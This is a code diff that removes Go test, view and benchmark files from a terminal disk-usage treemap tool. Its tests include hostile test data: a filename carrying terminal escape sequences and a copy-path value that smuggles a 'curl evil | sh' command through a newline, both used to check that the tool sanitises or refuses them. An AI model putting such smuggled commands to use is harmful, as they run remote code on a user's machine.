func (t *Theme) textOn(bg Color) Color {
if bg == 0 {
return t.Fg
}
if bg.Luma() > 0.55 {
return RGB(0x10, 0x12, 0x16)
}
return RGB(0xf2, 0xf4, 0xf7)
}
-499
View File
@@ -1,499 +0,0 @@
package tui
import (
"context"
"fmt"
"math/rand"
"strings"
"testing"
tea "charm.land/bubbletea/v2"
"github.com/charmbracelet/colorprofile"
"github.com/charmbracelet/x/ansi"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/scan"
"github.com/andydixon/mapsize/internal/treemap"
)
const hostile = "evil\x1b]0;pwned\x07\x1b[2J.iso"
func testTree() *inventory.Tree {
t := inventory.New("/srv", inventory.KindDir)
add := func(p inventory.NodeID, name string, size int64) inventory.NodeID {
id := t.Add(p, name, inventory.KindFile)
n := t.Node(id)
n.Size, n.Alloc = size, size
n.Cat = inventory.CategoryFor(inventory.Ext(name), false, false)
n.MTime = 1_700_000_000_000_000_000
return id
}
dir := func(p inventory.NodeID, name string) inventory.NodeID {
id := t.Add(p, name, inventory.KindDir)
t.Node(id).Flags |= inventory.FlagScanned
return id
}
backups := dir(0, "backups")
for i := range 40 {
add(backups, fmt.Sprintf("dump-%02d.tar.gz", i), int64(1+i)<<30)
}
vms := dir(0, "vms")
add(vms, "ubuntu.qcow2", 86<<30)
add(vms, "win.vmdk", 40<<30)
media := dir(0, "media")
photos := dir(media, "photos 日本語")
for i := range 300 {
add(photos, fmt.Sprintf("img%03d.jpg", i), int64(i+1)<<20)
}
add(media, hostile, 9<<30)
add(media, "👨‍👩‍👧 family.mp4", 12<<30)
tiny := dir(0, "tiny")
for i := range 2000 {
add(tiny, fmt.Sprintf("f%d", i), 100)
}
add(0, "README", 10)
t.Recompute()
t.Stats.Complete = true
return t
}
func newTestModel(t *testing.T) *Model {
t.Helper()
tr := testTree()
m := newModel(Options{Start: func(context.Context) (*scan.Scanner, *inventory.Tree, error) { return nil, tr, nil }},
nil, tr, func() {})
m.profile = colorprofile.TrueColor
return m
}
func send(m *Model, msgs ...tea.Msg) {
for _, msg := range msgs {
m.Update(msg)
}
}
func key(s string) tea.KeyPressMsg {
switch s {
case "up":
return tea.KeyPressMsg{Code: tea.KeyUp}
case "down":
return tea.KeyPressMsg{Code: tea.KeyDown}
case "left":
return tea.KeyPressMsg{Code: tea.KeyLeft}
case "right":
return tea.KeyPressMsg{Code: tea.KeyRight}
case "enter":
return tea.KeyPressMsg{Code: tea.KeyEnter}
case "esc":
return tea.KeyPressMsg{Code: tea.KeyEscape}
case "space":
return tea.KeyPressMsg{Code: tea.KeySpace, Text: " "}
case "backspace":
return tea.KeyPressMsg{Code: tea.KeyBackspace}
case "home":
return tea.KeyPressMsg{Code: tea.KeyHome}
case "tab":
return tea.KeyPressMsg{Code: tea.KeyTab}
}
r := []rune(s)[0]
return tea.KeyPressMsg{Code: r, Text: s}
}
func size(w, h int) tea.WindowSizeMsg { return tea.WindowSizeMsg{Width: w, Height: h} }
// checkFrame verifies the rendered frame exactly fills w×h cells and that no
// filename control sequence leaked through.
func checkFrame(t *testing.T, m *Model, w, h int) string {
t.Helper()
content := m.View().Content
if strings.Contains(content, "\x1b]") || strings.Contains(content, "\x07") || strings.Contains(content, "\x1b[2J") {
t.Fatalf("terminal control sequence from a filename leaked into the frame")
}
lines := strings.Split(content, "\n")
if len(lines) != h {
t.Fatalf("%dx%d: frame has %d lines", w, h, len(lines))
}
for i, l := range lines {
if got := ansi.StringWidth(l); got != w {
t.Fatalf("%dx%d: line %d has width %d: %q", w, h, i, got, ansi.Strip(l))
}
}
return ansi.Strip(content)
}
func TestResizeTransitionsPreserveState(t *testing.T) {
m := newTestModel(t)
send(m, size(120, 40))
checkFrame(t, m, 120, 40)
// Zoom into media and select something that is not the default.
m.tree.RLock()
media := m.kidsOf(0)
m.tree.RUnlock()
var mediaID inventory.NodeID
for _, id := range media.ids {
if m.tree.Node(id).Name == "media" {
mediaID = id
}
}
m.sel, m.userSel = int64(mediaID), true
send(m, key("space"))
if m.zoom != mediaID {
t.Fatalf("zoom = %d want media %d", m.zoom, mediaID)
}
checkFrame(t, m, 120, 40)
send(m, key("right"))
sel := m.sel
for _, sz := range [][2]int{{80, 24}, {120, 40}, {300, 80}, {70, 20}, {180, 50}, {40, 10}, {39, 9}, {200, 60}} {
send(m, size(sz[0], sz[1]))
checkFrame(t, m, sz[0], sz[1])
if m.zoom != mediaID {
t.Fatalf("%v: zoom lost", sz)
}
if m.sel != sel && !isGroup(m.sel) {
t.Fatalf("%v: selection changed from %d to %d", sz, sel, m.sel)
}
}
// The layout must be recomputed for the new geometry, not stretched.
if m.tm == nil || m.tm.rect.W > 200 || m.tm.rect.H > 60 {
t.Fatalf("layout not recomputed for final size: %+v", m.tm.rect)
}
for _, b := range m.tm.blocks {
r := m.tm.rect
if b.X < r.X || b.Y < r.Y || b.X+b.W > r.X+r.W || b.Y+b.H > r.Y+r.H {
t.Fatalf("block %+v outside treemap %+v", b, r)
}
}
}
func TestResizeStorm(t *testing.T) {
m := newTestModel(t)
r := rand.New(rand.NewSource(1))
send(m, size(120, 40))
m.View()
send(m, key("right"), key("down"))
sel := m.sel
for i := 0; i < 300; i++ {
send(m, size(20+r.Intn(300), 5+r.Intn(90)))
if i%7 == 0 {
m.View() // renders interleave with resizes like the real event loop
}
}
send(m, size(150, 45))
checkFrame(t, m, 150, 45)
if m.sel != sel {
t.Fatalf("selection lost in resize storm")
}
}
func TestModalSurvivesResize(t *testing.T) {
m := newTestModel(t)
send(m, size(120, 40), key("enter"))
if len(m.modals) != 1 {
t.Fatal("Enter should open the info modal")
}
for _, sz := range [][2]int{{120, 40}, {60, 14}, {41, 10}, {300, 80}, {45, 12}} {
send(m, size(sz[0], sz[1]))
out := checkFrame(t, m, sz[0], sz[1])
if !strings.Contains(out, "ITEM INFORMATION") {
t.Fatalf("%v: modal title missing:\n%s", sz, out)
}
f := m.modals[0].(*modalFrame)
if f.viewH < 1 || f.viewH > sz[1] {
t.Fatalf("%v: modal viewport %d", sz, f.viewH)
}
}
// Scrolling in a tiny terminal must stay in range.
send(m, size(45, 12))
for range 100 {
send(m, key("down"))
}
checkFrame(t, m, 45, 12)
f := m.modals[0].(*modalFrame)
if f.scroll < 0 || f.scroll > f.contentN {
t.Fatalf("scroll out of range: %d of %d", f.scroll, f.contentN)
}
send(m, key("esc"))
if len(m.modals) != 0 {
t.Fatal("Esc should close the modal")
}
}
func TestSpatialNavigationUsesGeometry(t *testing.T) {
m := newTestModel(t)
send(m, size(160, 45))
m.View()
blocks := m.tm.blocks
for _, dir := range []string{"right", "down", "left", "up"} {
before := m.sel
send(m, key(dir))
m.View()
if m.sel == before {
continue // edge of the map
}
var a, b = findBlock(blocks, before), findBlock(blocks, m.sel)
switch dir {
case "right":
if b.X < a.X+a.W {
t.Fatalf("right moved to a block that is not to the right: %+v -> %+v", a, b)
}
case "left":
if b.X+b.W > a.X {
t.Fatalf("left moved wrongly: %+v -> %+v", a, b)
}
case "down":
if b.Y < a.Y+a.H {
t.Fatalf("down moved wrongly: %+v -> %+v", a, b)
}
case "up":
if b.Y+b.H > a.Y {
t.Fatalf("up moved wrongly: %+v -> %+v", a, b)
}
}
}
}
func findBlock(bs []treemap.Block, id int64) treemap.Block {
for _, b := range bs {
if b.ID == id {
return b
}
}
return treemap.Block{}
}
func TestZoomBreadcrumbsAndHome(t *testing.T) {
m := newTestModel(t)
send(m, size(100, 30))
m.tree.RLock()
var media, photos inventory.NodeID
m.tree.Walk(0, func(id inventory.NodeID, n *inventory.Node) bool {
switch n.Name {
case "media":
media = id
case "photos 日本語":
photos = id
}
return true
})
m.tree.RUnlock()
m.sel, m.userSel = int64(media), true
send(m, key("space"))
m.sel = int64(photos)
send(m, key("space"))
if m.zoom != photos {
t.Fatal("did not zoom into photos")
}
out := checkFrame(t, m, 100, 30)
if !strings.Contains(out, "media › photos 日本語") {
t.Fatalf("breadcrumbs missing:\n%s", out)
}
// Narrow terminal: breadcrumbs truncate from the left, keeping the tail.
send(m, size(42, 12))
out = checkFrame(t, m, 42, 12)
if !strings.Contains(out, "photos") {
t.Fatalf("breadcrumb tail missing:\n%s", out)
}
send(m, key("backspace"))
if m.zoom != media || m.sel != int64(photos) {
t.Fatalf("backspace: zoom %d sel %d", m.zoom, m.sel)
}
send(m, key("home"))
if m.zoom != 0 {
t.Fatal("home did not return to root")
}
}
func TestFilterTransformsMap(t *testing.T) {
m := newTestModel(t)
send(m, size(120, 40), key("/"))
for _, r := range "ext = gz" {
send(m, tea.KeyPressMsg{Code: r, Text: string(r)})
}
if m.search.err != "" || m.search.query == nil {
t.Fatalf("query not parsed: %q", m.search.err)
}
msg := m.applyFilter()()
send(m, msg, key("enter"))
if m.search.result == nil {
t.Fatal("no filter result")
}
out := checkFrame(t, m, 120, 40)
if strings.Contains(out, "vms/") || !strings.Contains(out, "backups/") {
t.Fatalf("filter not applied to the map:\n%s", out)
}
if !strings.Contains(out, "FILTER") {
t.Fatal("filter indicator missing")
}
send(m, key("esc"))
if m.search.query != nil || m.search.result != nil {
t.Fatal("Esc should clear the filter")
}
out = checkFrame(t, m, 120, 40)
if !strings.Contains(out, "vms/") {
t.Fatalf("map not restored after clearing filter:\n%s", out)
}
}
func TestHostileNameSanitisedInModal(t *testing.T) {
m := newTestModel(t)
send(m, size(120, 40))
var id inventory.NodeID
m.tree.Walk(0, func(i inventory.NodeID, n *inventory.Node) bool {
if n.Name == hostile {
id = i
}
return true
})
m.openModal(newInfoModal(m, id))
out := checkFrame(t, m, 120, 40)
if !strings.Contains(out, `\x1b]0;pwned\x07`) {
t.Fatalf("escaped name not shown:\n%s", out)
}
}
func TestViewsRenderAtManySizes(t *testing.T) {
m := newTestModel(t)
for range m.views {
for _, sz := range [][2]int{{40, 10}, {80, 24}, {150, 45}, {91, 22}} {
send(m, size(sz[0], sz[1]))
checkFrame(t, m, sz[0], sz[1])
send(m, key("down"), key("down"))
checkFrame(t, m, sz[0], sz[1])
}
send(m, key("tab"))
}
send(m, key("?"))
send(m, size(60, 15))
checkFrame(t, m, 60, 15)
}
func TestLevelOfDetailGroupsTinyFiles(t *testing.T) {
m := newTestModel(t)
send(m, size(100, 30))
m.tree.RLock()
var tiny inventory.NodeID
m.tree.Children(0, func(id inventory.NodeID, n *inventory.Node) {
if n.Name == "tiny" {
tiny = id
}
})
m.tree.RUnlock()
m.zoomTo(tiny)
m.View()
if len(m.tm.blocks) > 100*30/topMinArea+1 {
t.Fatalf("%d blocks for 2000 equal files: LOD not applied", len(m.tm.blocks))
}
if _, ok := m.tm.groups[groupID(tiny)]; !ok {
t.Fatal("expected a group block for small items")
}
}
func TestCtrlCQuitsWhenIdle(t *testing.T) {
m := newTestModel(t)
send(m, size(80, 24))
_, cmd := m.Update(tea.KeyPressMsg{Code: 'c', Mod: tea.ModCtrl})
if cmd == nil || !m.quit {
t.Fatal("Ctrl+C should quit when no scan runs")
}
}
func BenchmarkRenderFrame(b *testing.B) {
tr := testTree()
m := newModel(Options{}, nil, tr, func() {})
m.profile = colorprofile.TrueColor
send(m, size(200, 60))
for b.Loop() {
m.dirty = true
m.View()
}
}
func BenchmarkResizeRelayout(b *testing.B) {
tr := testTree()
m := newModel(Options{}, nil, tr, func() {})
i := 0
for b.Loop() {
send(m, size(100+i%100, 30+i%30))
m.View()
i++
}
}
func TestMouse(t *testing.T) {
m := newTestModel(t)
send(m, size(120, 40))
m.View()
// Click the centre of a block other than the selected one.
var target treemap.Block
for _, b := range m.tm.blocks {
if b.ID != m.sel && b.ID >= 0 && m.tree.Node(inventory.NodeID(b.ID)).IsDir() && b.W > 4 {
target = b
break
}
}
click := tea.MouseClickMsg{X: target.X + target.W/2, Y: target.Y + target.H/2, Button: tea.MouseLeft}
send(m, click)
if m.sel != target.ID {
t.Fatalf("click selected %d, want %d", m.sel, target.ID)
}
m.View()
send(m, click) // second click within the double-click window
if m.zoom != inventory.NodeID(target.ID) {
t.Fatalf("double click should zoom into %d (zoom=%d)", target.ID, m.zoom)
}
m.View()
send(m, tea.MouseWheelMsg{X: 50, Y: 20, Button: tea.MouseWheelDown})
if m.zoom != 0 {
t.Fatal("wheel down should zoom out")
}
// A modal swallows clicks; clicking outside closes it.
send(m, key("?"))
m.View()
send(m, tea.MouseClickMsg{X: 0, Y: 39, Button: tea.MouseLeft})
if len(m.modals) != 0 {
t.Fatal("click outside modal should close it")
}
}
func TestQuantizers(t *testing.T) {
if quant16(RGB(10, 12, 8)) != 0 {
t.Fatal("near-black should map to black")
}
if n := quant16(RGB(0xe0, 0x6c, 0x75)); n != 1 && n != 9 {
t.Fatalf("red-ish mapped to %d", n)
}
if n := quant256(RGB(40, 48, 30)); n < 16 {
t.Fatalf("256 quantizer used palette-dependent index %d", n)
}
// A dark, slightly tinted shade must land on the grey ramp or a dark
// cube entry, not a saturated one like olive (58) or navy (17).
if n := quant256(RGB(40, 48, 30)); n == 58 || n == 17 || n == 22 {
t.Fatalf("dark tint mapped to saturated %d", n)
}
}
func TestColourDepthsRenderSameGeometry(t *testing.T) {
for _, p := range []colorprofile.Profile{colorprofile.TrueColor, colorprofile.ANSI256, colorprofile.ANSI, colorprofile.ASCII} {
m := newTestModel(t)
m.profile = p
send(m, size(100, 30))
checkFrame(t, m, 100, 30)
}
}
// A filename with a newline would run commands when pasted into a shell.
func TestCopyRefusesControlCharacters(t *testing.T) {
m := newTestModel(t)
m.copyPath("/srv/x\ncurl evil | sh\n")
if !strings.HasPrefix(m.toast, "Not copied") {
t.Fatalf("hostile path copied: %q", m.toast)
}
m.copyPath("/srv/media/" + hostile)
if !strings.HasPrefix(m.toast, "Not copied") {
t.Fatalf("escape sequence copied: %q", m.toast)
}
m.copyPath("/srv/photos 日本語/img001.jpg")
if !strings.HasPrefix(m.toast, "Copied") {
t.Fatalf("plain path refused: %q", m.toast)
}
}
-457
View File
@@ -1,457 +0,0 @@
package tui
import (
"fmt"
"sort"
"time"
tea "charm.land/bubbletea/v2"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/snapshot"
"github.com/andydixon/mapsize/internal/textutil"
"github.com/andydixon/mapsize/internal/treemap"
)
// ---- Directory list -------------------------------------------------------
type listView struct {
tb table
lastSel int64
}
func (*listView) name() string { return "List" }
// sync reconciles the table cursor with the shared selection: if the
// selection changed elsewhere (treemap, jump) the cursor follows it;
// otherwise the cursor (moved by keys or clicks) drives the selection.
func (v *listView) sync(m *Model) {
k := m.kidsOf(m.zoom)
if m.sel != v.lastSel {
for i, id := range k.ids {
if int64(id) == m.sel {
v.tb.cursor = i
}
}
} else if v.tb.cursor < len(k.ids) {
m.sel = int64(k.ids[v.tb.cursor])
}
v.lastSel = m.sel
}
func (v *listView) paint(m *Model, cv *Canvas, r treemap.Rect) {
t := m.theme
k := m.kidsOf(m.zoom)
v.sync(m)
total := m.sizeOf(m.zoom)
rows := make([]tableRow, len(k.ids))
for i, id := range k.ids {
n := m.tree.Node(id)
name := textutil.Sanitize(n.Name)
files := ""
if n.IsDir() {
name += "/"
files = textutil.Count(int64(n.Files))
}
mod := ""
if n.MTime > 0 {
mod = time.Unix(0, n.MTime).Format("2006-01-02")
}
col := m.colorOf(int64(id))
nameSt := &Style{FG: col.Mix(t.Fg, 0.45), BG: t.Bg}
if n.IsDir() {
nameSt.Attr = Bold
}
frac := 0.0
if k.sizes[0] > 0 {
frac = float64(k.sizes[i]) / float64(k.sizes[0])
}
rows[i] = tableRow{
cells: []string{textutil.Size(k.sizes[i]), textutil.Percent(k.sizes[i], total), "", files, mod, name},
styles: []*Style{nil, {FG: t.Muted, BG: t.Bg}, nil, {FG: t.Muted, BG: t.Bg}, {FG: t.Muted, BG: t.Bg}, nameSt},
bar: frac, barCol: col,
}
if m.opts.Diff != nil {
rows[i].cells[4] = textutil.SignedSize(m.opts.Diff.Delta(id, m.sizeMode))
}
}
cols := []column{{"SIZE", 10, true, false}, {"%", 5, true, false}, {"", 12, false, false}, {"FILES", 10, true, false}, {"MODIFIED", 10, false, false}, {"NAME", 0, false, false}}
if m.opts.Diff != nil {
cols[4] = column{"CHANGE", 12, true, false}
}
if r.W < 70 {
cols = []column{{"SIZE", 10, true, false}, {"%", 5, true, false}, {"NAME", 0, false, false}}
for i := range rows {
rows[i].cells = []string{rows[i].cells[0], rows[i].cells[1], rows[i].cells[5]}
rows[i].styles = []*Style{nil, rows[i].styles[1], rows[i].styles[5]}
}
}
v.tb.paint(m, cv, r, cols, rows, "")
v.sync(m)
}
func (v *listView) key(m *Model, k string) (bool, tea.Cmd) {
v.sync(m)
defer v.sync(m)
return v.tb.key(k, len(m.kidsOf(m.zoom).ids)), nil
}
func (v *listView) wheel(m *Model, up bool) tea.Cmd {
v.sync(m)
v.tb.scroll(up, len(m.kidsOf(m.zoom).ids))
v.sync(m)
return nil
}
// ---- Extension statistics ------------------------------------------------
type extView struct {
tb table
cache []inventory.ExtStat
cacheKey [2]int
}
func (*extView) name() string { return "Types" }
func (v *extView) stats(m *Model) []inventory.ExtStat {
k := [2]int{int(m.zoom), m.dataVer*2 + int(m.sizeMode)}
if v.cache == nil || v.cacheKey != k {
v.cache = m.tree.ExtStats(m.zoom)
sort.Slice(v.cache, func(i, j int) bool {
a, b := v.cache[i], v.cache[j]
as, bs := a.Alloc, b.Alloc
if m.sizeMode == inventory.SizeLogical {
as, bs = a.Size, b.Size
}
if as != bs {
return as > bs
}
return a.Ext < b.Ext
})
v.cacheKey = k
}
return v.cache
}
func (v *extView) paint(m *Model, cv *Canvas, r treemap.Rect) {
t := m.theme
st := v.stats(m)
var total int64
for _, s := range st {
total += pick(m, s)
}
rows := make([]tableRow, len(st))
for i, s := range st {
ext := "." + s.Ext
if s.Ext == "" {
ext = "(none)"
}
col := t.Cat[s.Cat]
if c, ok := t.Ext[s.Ext]; ok {
col = c
}
frac := 0.0
if v0 := pick(m, st[0]); v0 > 0 {
frac = float64(pick(m, s)) / float64(v0)
}
rows[i] = tableRow{
cells: []string{textutil.Sanitize(ext), s.Cat.String(), textutil.Count(s.Count), textutil.Size(pick(m, s)), textutil.Percent(pick(m, s), total), ""},
styles: []*Style{{FG: col, BG: t.Bg, Attr: Bold}, {FG: t.Muted, BG: t.Bg}, nil, nil, {FG: t.Muted, BG: t.Bg}, nil},
bar: frac, barCol: col,
}
}
cols := []column{{"EXTENSION", 14, false, false}, {"CATEGORY", 12, false, false}, {"FILES", 11, true, false}, {"SIZE", 10, true, false}, {"%", 5, true, false}, {"", 0, false, false}}
v.tb.paint(m, cv, r, cols, rows, fmt.Sprintf("File types under %s — Enter filters the map by extension", textutil.Sanitize(m.tree.Node(m.zoom).Name)))
}
func pick(m *Model, s inventory.ExtStat) int64 {
if m.sizeMode == inventory.SizeLogical {
return s.Size
}
return s.Alloc
}
func (v *extView) key(m *Model, k string) (bool, tea.Cmd) {
st := v.stats(m)
if v.tb.key(k, len(st)) {
return true, nil
}
if (k == "enter" || k == "space") && v.tb.cursor < len(st) {
e := st[v.tb.cursor].Ext
q := "ext = \"" + e + "\""
if e == "" {
q = "type = file AND ext = \"\""
}
m.setViewByName("Map")
return true, m.setFilter(q)
}
return false, nil
}
func (v *extView) wheel(m *Model, up bool) tea.Cmd {
v.tb.scroll(up, len(v.stats(m)))
return nil
}
// ---- Top-N investigation views --------------------------------------------
type topMode int
const (
topFiles topMode = iota
topDirs
topOld
topNew
topCount
topSparse
topHardlinks
numTopModes
)
var topNames = [...]string{"Largest files", "Largest directories (own files)", "Oldest large files",
"Newest large files", "Most files", "Sparse files", "Hard-linked files"}
type topView struct {
tb table
mode topMode
ids []inventory.NodeID
vals []int64
cacheKey [3]int
limit int
}
func (*topView) name() string { return "Top" }
const topLimit = 500
func (v *topView) compute(m *Model) {
k := [3]int{int(m.zoom), m.dataVer*2 + int(m.sizeMode), int(v.mode)}
if v.ids != nil && v.cacheKey == k {
return
}
v.cacheKey = k
tr := m.tree
isFile := func(n *inventory.Node) bool {
return n.Kind == inventory.KindFile && n.Flags&(inventory.FlagHardlinkDup|inventory.FlagDeleted) == 0
}
matches := func(id inventory.NodeID) bool {
return m.search.result == nil || m.search.result.Size(id) > 0
}
tk := inventory.NewTopK(topLimit)
val := map[inventory.NodeID]int64{}
const largeFile = 1 << 20
switch v.mode {
case topDirs:
own := map[inventory.NodeID]int64{}
tr.Walk(m.zoom, func(id inventory.NodeID, n *inventory.Node) bool {
if isFile(n) && matches(id) {
own[n.Parent] += n.Own(m.sizeMode)
}
return true
})
for id, s := range own {
tk.Offer(id, s)
val[id] = s
}
case topCount:
tr.Walk(m.zoom, func(id inventory.NodeID, n *inventory.Node) bool {
if n.IsDir() && matches(id) {
c := int64(tr.ChildCount(id))
tk.Offer(id, c)
val[id] = c
}
return true
})
default:
tr.Walk(m.zoom, func(id inventory.NodeID, n *inventory.Node) bool {
if !isFile(n) || !matches(id) {
return true
}
sz := n.Own(m.sizeMode)
switch v.mode {
case topFiles:
tk.Offer(id, sz)
val[id] = sz
case topOld, topNew:
if sz >= largeFile && n.MTime > 0 {
key := n.MTime
if v.mode == topOld {
key = -key
}
tk.Offer(id, key)
val[id] = sz
}
case topSparse:
if n.Flags&inventory.FlagSparse != 0 {
tk.Offer(id, n.Size-n.Alloc)
val[id] = n.Size - n.Alloc
}
case topHardlinks:
if n.Flags&inventory.FlagHardlinked != 0 {
tk.Offer(id, n.Size)
val[id] = n.Size
}
}
return true
})
}
v.ids = tk.Sorted()
v.vals = v.vals[:0]
for _, id := range v.ids {
v.vals = append(v.vals, val[id])
}
}
func (v *topView) paint(m *Model, cv *Canvas, r treemap.Rect) {
t := m.theme
v.compute(m)
rows := make([]tableRow, len(v.ids))
var first int64
if len(v.vals) > 0 {
first = v.vals[0]
}
for i, id := range v.ids {
n := m.tree.Node(id)
val := textutil.Size(v.vals[i])
if v.mode == topCount {
val = textutil.Count(v.vals[i])
}
mod := ""
if n.MTime > 0 {
mod = time.Unix(0, n.MTime).Format("2006-01-02")
}
frac := 0.0
if first > 0 && v.mode != topOld && v.mode != topNew {
frac = float64(v.vals[i]) / float64(first)
}
col := m.colorOf(int64(id))
rows[i] = tableRow{
cells: []string{val, mod, "", textutil.Sanitize(m.tree.Path(id))},
styles: []*Style{nil, {FG: t.Muted, BG: t.Bg}, nil, {FG: col.Mix(t.Fg, 0.45), BG: t.Bg}},
bar: frac, barCol: col,
}
}
title := fmt.Sprintf("◂ %s ▸ (←/→ change list · Enter details · Space jump to it)", topNames[v.mode])
if m.search.result != nil {
title += " · filtered"
}
valTitle := "SIZE"
switch v.mode {
case topCount:
valTitle = "ENTRIES"
case topSparse:
valTitle = "SAVED"
}
cols := []column{{valTitle, 10, true, false}, {"MODIFIED", 10, false, false}, {"", 10, false, false}, {"PATH", 0, false, true}}
v.tb.paint(m, cv, r, cols, rows, title)
}
func (v *topView) key(m *Model, k string) (bool, tea.Cmd) {
v.compute(m)
switch k {
case "left", "h":
v.mode = (v.mode + numTopModes - 1) % numTopModes
v.tb.cursor = 0
return true, nil
case "right", "l":
v.mode = (v.mode + 1) % numTopModes
v.tb.cursor = 0
return true, nil
}
if v.tb.key(k, len(v.ids)) {
return true, nil
}
if v.tb.cursor < len(v.ids) {
id := v.ids[v.tb.cursor]
switch k {
case "enter":
m.openModal(newInfoModal(m, id))
return true, nil
case "space":
m.jumpTo(id)
return true, nil
case "c", "o", "d":
m.sel = int64(id)
}
}
return false, nil
}
func (v *topView) wheel(m *Model, up bool) tea.Cmd {
v.tb.scroll(up, len(v.ids))
return nil
}
// ---- Snapshot comparison -----------------------------------------------------
type changesView struct {
tb table
rows []snapshot.Change
cacheKey int
}
func (*changesView) name() string { return "Changes" }
func (v *changesView) paint(m *Model, cv *Canvas, r treemap.Rect) {
t := m.theme
d := m.opts.Diff
if v.rows == nil || v.cacheKey != int(m.sizeMode) {
v.rows = d.Changes(1000, m.sizeMode)
v.cacheKey = int(m.sizeMode)
}
var maxAbs int64 = 1
for _, c := range v.rows {
maxAbs = max(maxAbs, abs64(c.Delta))
}
rows := make([]tableRow, len(v.rows))
for i, c := range v.rows {
col := map[snapshot.Status]Color{snapshot.Added: t.DiffNew, snapshot.Removed: t.Muted,
snapshot.Grew: t.DiffGrow, snapshot.Shrank: t.DiffShrink}[c.Status]
rows[i] = tableRow{
cells: []string{textutil.SignedSize(c.Delta), c.Status.String(), textutil.Size(c.Old), textutil.Size(c.New), "", textutil.Sanitize(c.Path)},
styles: []*Style{{FG: col, BG: t.Bg, Attr: Bold}, {FG: col, BG: t.Bg}, {FG: t.Muted, BG: t.Bg}, nil, nil, nil},
bar: float64(abs64(c.Delta)) / float64(maxAbs), barCol: col,
}
}
cols := []column{{"CHANGE", 13, true, false}, {"STATUS", 9, false, false}, {"OLD", 10, true, false}, {"NEW", 10, true, false},
{"", 10, false, false}, {"PATH", 0, false, true}}
ro, rn := d.Old.Node(0).Total(m.sizeMode), d.New.Node(0).Total(m.sizeMode)
title := fmt.Sprintf("Changes %s → %s (%s)", textutil.Size(ro), textutil.Size(rn), textutil.SignedSize(rn-ro))
v.tb.paint(m, cv, r, cols, rows, title)
}
func abs64(v int64) int64 {
if v < 0 {
return -v
}
return v
}
func (v *changesView) key(m *Model, k string) (bool, tea.Cmd) {
if v.tb.key(k, len(v.rows)) {
return true, nil
}
if v.tb.cursor < len(v.rows) {
c := v.rows[v.tb.cursor]
if c.Node == inventory.NoNode {
if k == "enter" || k == "space" {
return true, m.info("Removed since the old snapshot: " + textutil.Sanitize(c.Path))
}
return false, nil
}
switch k {
case "enter":
m.openModal(newInfoModal(m, c.Node))
return true, nil
case "space":
m.jumpTo(c.Node)
return true, nil
}
}
return false, nil
}
func (v *changesView) wheel(m *Model, up bool) tea.Cmd {
v.tb.scroll(up, len(v.rows))
return nil
}
-1
View File
@@ -1 +0,0 @@
/target
-49
View File
@@ -1,49 +0,0 @@
#!/usr/bin/env python3
"""Times the Go and Rust mapsize binaries on the same command lines.
rust/bench/compare.py GO_BIN RUST_BIN PATH [RUNS]
Runs are interleaved (go, rust, go, rust, …) after one untimed warm-up each,
so both see the same page-cache state. Reports median and best wall time and
median peak RSS per scenario as a Markdown table. Linux only (/usr/bin/time).
"""
import os, statistics, subprocess, sys, tempfile
go, rust, path = sys.argv[1:4]
runs = int(sys.argv[4]) if len(sys.argv) > 4 else 7
tmp = tempfile.mkdtemp(prefix="mapsize-bench-")
snap = {"go": os.path.join(tmp, "go.msz"), "rust": os.path.join(tmp, "rust.msz")}
bins = {"go": go, "rust": rust}
def timed(argv):
r = subprocess.run(["/usr/bin/time", "-f", "%e %M"] + argv, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True)
if r.returncode != 0:
sys.exit(f"failed: {' '.join(argv)}\n{r.stderr}")
secs, kb = r.stderr.strip().splitlines()[-1].split()
return float(secs), int(kb) / 1024
scenarios = [(f"scan, {w} workers", lambda b, w=w: [bins[b], "--no-ui", "--workers", str(w), path]) for w in (1, 8, 32)]
scenarios += [
("scan + save snapshot", lambda b: [bins[b], "--no-ui", "--save", snap[b], path]),
("load own snapshot", lambda b: [bins[b], "--no-ui", snap[b]]),
("load Go snapshot", lambda b: [bins[b], "--no-ui", snap["go"]]),
("scan + JSON export", lambda b: [bins[b], "--json", path]),
("scan + top 50 largest files", lambda b: [bins[b], "--largest-files", "50", path]),
]
print(f"Path: `{path}`, {runs} interleaved runs per binary, warm cache\n")
print("| scenario | Go median | Rust median | Go best | Rust best | Go RSS | Rust RSS | speed-up |")
print("|---|---:|---:|---:|---:|---:|---:|---:|")
for name, mk in scenarios:
argv = {k: mk(k) for k in bins}
res = {k: [] for k in bins}
for k in bins:
timed(argv[k]) # warm-up (also creates the snapshot files)
for _ in range(runs):
for k in bins:
res[k].append(timed(argv[k]))
med = {k: statistics.median(t for t, _ in v) for k, v in res.items()}
best = {k: min(t for t, _ in v) for k, v in res.items()}
rss = {k: statistics.median(m for _, m in v) for k, v in res.items()}
print(f"| {name} | {med['go']:.2f} s | {med['rust']:.2f} s | {best['go']:.2f} s | {best['rust']:.2f} s "
f"| {rss['go']:.0f} MB | {rss['rust']:.0f} MB | {med['go'] / med['rust']:.2f}× |", flush=True)
-45
View File
@@ -1,45 +0,0 @@
#!/usr/bin/env python3
"""Runs the Go `go test -bench` suite and the Rust bench example
interleaved for several rounds and prints the best time per op of each.
rust/bench/micro.py GO_TUI_TEST GO_TREEMAP_TEST RUST_BENCH [ROUNDS]
Build the inputs with `go test -c ./internal/tui`, `go test -c
./internal/treemap` and `cargo build --release --example bench`. The Go tui
test binary must run from internal/tui, so run this from the repo root.
"""
import re, subprocess, sys
go_tui, go_tm, rust = sys.argv[1:4]
rounds = int(sys.argv[4]) if len(sys.argv) > 4 else 5
names = { # rust name -> go name
"treemap/Squarify(300)": "Squarify", "treemap/Neighbour(300)": "Neighbour",
"tui/BigColdFrame": "BigColdFrame", "tui/BigResize": "BigResize",
"tui/BigFlatDirCold": "BigFlatDirCold", "tui/BigNavigate": "BigNavigate",
"tui/BigFilter/size > 1MB": "BigFilter/size_>_1MB",
"tui/BigFilter/*.dat AND size > 500k": "BigFilter/*.dat_AND_size_>_500k",
"tui/BigFilter/path contains sub3": "BigFilter/path_contains_sub3",
}
unit = {"ns": 1e-9, "µs": 1e-6, "ms": 1e-3, "s": 1}
go_best, rust_best = {}, {}
def keep(d, k, v):
d[k] = min(d.get(k, v), v)
for _ in range(rounds):
for exe, cwd in ((go_tui, "internal/tui"), (go_tm, "internal/treemap")):
out = subprocess.run([exe, "-test.run=NONE", "-test.bench=.", "-test.benchtime=1s"], cwd=cwd, capture_output=True, text=True).stdout
